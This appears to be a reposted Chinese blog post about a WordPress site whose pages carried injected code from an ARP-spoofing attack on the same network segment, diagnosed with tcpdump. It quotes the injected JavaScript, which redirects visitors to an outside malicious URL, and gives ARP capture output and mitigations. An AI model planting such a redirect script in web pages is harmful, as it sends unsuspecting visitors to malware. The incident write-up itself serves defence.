技术头条 - 一个快速在微博传播文章的方式     搜索本站
您现在的位置首页 --> 安全 --> 网站被挂马

网站被挂马

浏览:2462次  出处信息

从前天晚上开始,我的服务器一直不正常,显示不正常,打开后台也不正常,认真看看了很久,才发现在页面上发现了恶意代码,一直以为是服务器被黑客攻陷了,想想我做了不少的防护,能入侵这台的也不是简单的人啊。。。难道 wordpress 本身有问题。

问题现象如下

以下是代码片段:
<script type="text/javascript">
function showme()
{
var CK=document.cookie;
var sa=CK.indexOf(“CK”);
if(sa!=-1){}else{var EP=new Date();
EP.setTime(EP.getTime()+24*60*60*1000);
document.cookie=”CK=test;expires=”+EP.toGMTString();
self.hi.location=”http://fgvp360.3322.org:97/xs/dk.html″;}
}
</script>

因为没有时间,工作事情实在太多,真到昨天晚上才开始看认真排查了所有可能,并未发现服务器异常的东西;后来使用 tcpdump 抓一下,看看是不是 arp 挂马 。证实是 arp 挂马。不是我的服务器有问题,同网段内有二台机器的 MAC 地址都不正常了。和网关的地址一样。内容如下

[root@localhost ~]# tcpdump -qne arp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
01:12:28.874824 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.26 tell 221.9.252.1
01:12:28.894981 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.59 tell 221.9.252.33
01:12:28.905141 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.56 tell 221.9.252.33
01:12:28.915787 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.30 tell 221.9.252.1
01:12:28.925851 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.54 tell 221.9.252.33
01:12:28.941453 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.16 tell 221.9.252.1
01:12:28.941458 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.25 tell 221.9.252.1
01:12:28.947469 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.34 tell 221.9.252.33
01:12:28.948341 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.51 tell 221.9.252.33
01:12:37.607996 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.206 tell 221.9.251.193
01:12:40.580420 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.206 tell 221.9.251.193
01:12:40.755736 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.23 tell 221.9.252.1
01:12:45.907790 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.57 tell 221.9.252.33
01:13:02.874002 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.47 tell 221.9.252.33
01:13:04.055118 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.47 tell 221.9.252.33
01:13:04.589391 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.252.59 tell 221.9.252.33
01:13:08.155945 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.204 tell 221.9.251.193
01:13:08.166247 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.205 tell 221.9.251.193
01:13:08.166252 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.201 tell 221.9.251.193
01:13:08.166925 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.197 tell 221.9.251.193
01:13:08.166929 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.200 tell 221.9.251.193
01:13:08.166932 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.203 tell 221.9.251.193
01:13:08.176642 00:0f:e2:6b:02:d4 > Broadcast, ARP, length 60: arp who-has 221.9.251.202 tell 221.9.251.193

 

可以从上面的 tcpdump 看到三台 mac 地址一样.

221.9.251.193
221.9.252.1
221.9.252.33

所以其中一定有二台机器有问题。这个也没有什么好的解决方法,只能让机房处理一下那二台机器,要不在网关上绑定你的 MAC 的 ip 也行。

我没法子,只能修改另一个网段的 ip ,先这样用着。

建议继续学习:

  1. WordPress评论翻页造成404页面的解决方案    (阅读:7900)
  2. WordPress插件开发 -- 在插件使用数据库存储数据    (阅读:5414)
  3. WordPress安全建议    (阅读:5184)
  4. WordPress插件开发--获知文章状态变化    (阅读:4373)
  5. WordPress数据字典    (阅读:4136)
  6. SEO:wordpress页面标记优化    (阅读:3581)
  7. WordPress模板的image.php    (阅读:3419)
  8. WordPress重定向漏洞    (阅读:2978)
  9. wordpress博客优化12条    (阅读:2888)
  10. SEO:wordpress相同内容网页优化    (阅读:2880)
QQ技术交流群:445447336,欢迎加入!
扫一扫订阅我的微信号:IT技术博客大学习
© 2009 - 2024 by blogread.cn 微博:@IT技术博客大学习

京ICP备15002552号-1